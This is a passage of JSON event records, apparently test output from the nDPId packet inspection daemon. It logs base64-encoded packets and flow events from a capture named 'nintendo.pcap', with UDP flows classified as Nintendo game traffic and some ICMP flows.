+00433{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":70964,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAyvcAAAAARQAAaBGtAAABEfjlwKgMcl3tg+vaa9sCAFR0RQ=="} +00433{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":72954,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAmZQAAAAARQAAaBGuAAABEfjkwKgMcl3tg+vaa9sCAFSlqA=="} +00501{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":264902,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEa8AAAQRdQTAqAxyuXapQdpra4AAVNmGMquYZAIAAADuYAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7gHFOAdXBNrLexHr6ki3aO6IAjbccnTaLFOeAa9Lm7Cg=="} +00501{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":265206,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbAAAAQRdQPAqAxyuXapQdpra4AAVGrBMquYZAIAAADuYQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6fq9sGai6ikNvjNa9eIuajsva71Bd40IWMDrX+l2i+zw=="} +00502{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":265418,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbEAAAQRdQLAqAxyuXapQdpra4AAVFQnMquYZAIAAADuYQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5Z74F81QcINUlgU7J8e2rI\/OoEm747jRmh1KKDBPQQTQ=="} +00502{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":265664,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbIAAAQR9eDAqAxyXe2D69pr2wIAVHHgMquYZAIAAADuYQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5D1RHR1Efs+fOh1A0yv+IMwTJUhr2kL16RwpCbys\/zyQ=="} +00504{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":265900,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbMAAAQR9d\/AqAxyXe2D69pr2wIAVKH3MquYZAIAAADuYQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7AkO1\/I\/EwZfSCtaxr8daeTvyd7B0s5uVMaeFPr4bpng=="} +00501{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":266263,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbQAAAQR9d7AqAxyXe2D69pr2wIAVH68MquYZAIAAADuYgAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6wUv0E6O6beQCdgKAe8WJf0bONaD7cVAGLvmFd+FO+gg=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":215,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1500731343266,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"81.61.158.138","src_port":55915,"dst_port":51769,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":266581,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbUAAAQR5+7AqAxyUT2eitpryjkAVFv5MquYZAIAAADuYwAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5+fKxnOL+boQLScYxPZys77lNbziI76pb\/g4qlyspVqA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":215,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1500731343266,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"81.61.158.138","src_port":55915,"dst_port":51769,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00502{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":266876,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbYAAAQR5+3AqAxyUT2eitpryjkAVGj9MquYZAIAAADuYwAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7xrfou4fqWjlJQi1c1lm8udR6QM9F6Tte6liKDWkKe\/w=="} +00501{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":267275,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbcAAAQR5+zAqAxyUT2eitpryjkAVC1TMquYZAIAAADuYwAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5Run8isLISlhuFklysgYAwVdq0TTDfSVfOsDm2ryNz2g=="} +00435{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":273274,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAoa8AAAAARQAAaBGvAAABEXgEwKgMcrl2qUHaa2uAAFQNEA=="} +00435{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":273745,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAEHUAAAAARQAAaBGwAAABEXgDwKgMcrl2qUHaa2uAAFSeSg=="} +00435{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274032,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAJw8AAAAARQAAaBGxAAABEXgCwKgMcrl2qUHaa2uAAFSHsA=="} +00435{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274073,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAmdMAAAAARQAAaBGyAAABEfjgwKgMcl3tg+vaa9sCAFSlaQ=="} +00435{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274102,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAabwAAAAARQAAaBGzAAABEfjfwKgMcl3tg+vaa9sCAFTVgA=="} +00435{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274132,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAjPcAAAAARQAAaBG0AAABEfjewKgMcl3tg+vaa9sCAFSyRQ=="} +00446{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":226,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1500731343274,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"151.6.184.98","dst_ip":"192.168.12.114","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274328,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAwIMAAAAARQAAaBG1AAABEeruwKgMclE9noraa8o5AFSPgg=="} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":226,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1500731343274,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"151.6.184.98","dst_ip":"192.168.12.114","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00434{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274498,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAs38AAAAARQAAaBG2AAABEertwKgMclE9noraa8o5AFSchg=="} +00434{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":274660,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsA7ykAAAAARQAAaBG3AAABEerswKgMclE9noraa8o5AFRg3A=="} +00503{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":577295,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbsAAAQRdPjAqAxyuXapQdpra4AAVKbhMquYZAIAAADvmgAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6kbg82UwP7WhoJdFXAPrW7l7kjB4\/DcRED9PA54OD4fw=="} +00503{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":579634,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEbwAAAQRdPfAqAxyuXapQdpra4AAVMi4MquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7aZpLntTU\/CF+B3C2x4+9rIgxAF69WvQVXhJViS24oRw=="} +00503{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":579817,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEb0AAAQRdPbAqAxyuXapQdpra4AAVPYTMquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5N4Y3458C8apw7Tt08sp5zRpFdBjv8\/rzF59+kHqhXgg=="} +00502{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":580013,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEb4AAAQR9dTAqAxyXe2D69pr2wIAVPNLMquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+5nrdBrqQpwF84\/IzTDb7LlWCnxIyS6oQ0iqGhHvHJE9Q=="} +00502{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":580229,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEb8AAAQR9dPAqAxyXe2D69pr2wIAVKhQMquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6UmVJH1lJqvRbOqlAGiRgG2S4vJoyAARb\/sDLFe6FTyg=="} +00501{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":580538,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcAAAAQR9dLAqAxyXe2D69pr2wIAVEs8MquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7YFRlSsHGsrHxD2HZP9d0brZf2aWcullEoZHyBUf+TyA=="} +00502{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":580770,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcEAAAQR5+LAqAxyUT2eitpryjkAVMNAMquYZAIAAADvnAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7cWzkXNBckFifa\/wiF2lu1IbEIJGv2D5glCVnWtV83oA=="} +00501{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":581030,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcIAAAQR5+HAqAxyUT2eitpryjkAVE+3MquYZAIAAADvnQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+7Pmfmmtpp9JCGguMuoLQd+CCaeAvOz1q1lla9ZOKa1pw=="} +00503{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":581319,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcMAAAQR5+DAqAxyUT2eitpryjkAVK0uMquYZAIAAADvnQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4BgEvZlxbiRl6y9Xw1kBgBaUb\/5nGYo7inqiYxqUA\/VQ=="} +00434{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":591461,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAWTwAAAAARQAAaBHBAAABEeriwKgMclE9noraa8o5AFT2yQ=="} +00434{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":591770,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAzMUAAAAARQAAaBHCAAABEerhwKgMclE9noraa8o5AFSDQA=="} +00434{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":591780,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAb04AAAAARQAAaBHDAAABEergwKgMclE9noraa8o5AFTgtw=="} +00501{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":603868,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABolHwAACwRyja5dqlBwKgMcmuA2msAVPcVMquYZAIBAADVhAAAyq1jq72SDh1NYqq8pY4F5g53IATYVWg0Iwiei6qOZ2BY18pgsHVLdf3GBfsHCoeT2nA62vuD8XvHZO+dBHmgbQ=="} +00502{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":604995,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABolH0AACwRyjW5dqlBwKgMcmuA2msAVKCPMquYZAIBAADVhQAAyq1jq72SDh1NYqq8pY4F5g53IATYVWg0Iwiei6qOZ2Ccml7T6rStj2Y6vO0ifgyF\/dx9Cngo5DDh+40QiESxzA=="} +00504{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":610491,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcQAAEAROO\/AqAxyuXapQdpra4AAVDtmMquYZAIAAADvu9WIKdUJvCWWmpPUMVRbVSL\/mgPmr\/BUPv2dLAdU4LCgzBJY18pgsHVLdf3GBfsHCoeTWMwDLTLrCcWYCpDzP5KUvA=="} +00501{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":819378,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABoWH8AADMRgBNd7YPrwKgMctsC2msAVJEQMquYZAIBAADJcwAAjv2ggaY6vLvxy83EpymXMzhEw12wG5lAnmm998cXqaE5XQ+uMjD3WooDZj+3X1rqL9xbj710quXdx2Ykj5iUZA=="} +00501{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":819445,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABoWIAAADMRgBJd7YPrwKgMctsC2msAVFToMquYZAIBAADJcwAAjv2ggaY6vLvxy83EpymXMzhEw12wG5lAnmm998cXqaE3rM9T4EKBmroWwUVro4bcqG2VZSXyS3krJPnkrOS1FA=="} +00504{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":826435,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEccAAEARucvAqAxyXe2D69pr2wIAVDXxMquYZAIAAADwk8l2KdUJvCWWmpPUMVRbVSL\/muurNNZ\/EDAaO8G0\/FTi1Es5XQ+uMjD3WooDZj+3X1rq136Cus1Tm4jeqNfLwAfUhA=="} +00504{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":826681,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcgAAEARucrAqAxyXe2D69pr2wIAVJV1MquYZAIAAADwlMl3KdUJvCWWmpPUMVRbVSL\/muurNNZ\/EDAaO8G0\/FTi1Es3rM9T4EKBmroWwUVro4bct7OzSpTNipKx4jXrBt7T7w=="} +00505{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":865115,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEcwAAEARucbAqAxyXe2D69pr2wIAVH4PMquYZAIAAADwuMmbiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP3MEgpYMffxe3Kuuvgv\/98b4T\/1N64\/eqPu6V7fFFK46g=="} +00502{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":865353,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEc0AAEARucXAqAxyXe2D69pr2wIAVEK2MquYZAIAAADwuMmbiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP0zRLUG8TKv7FPUIzBRpTEyeuahJEB9SIHi2JLigKJtrA=="} 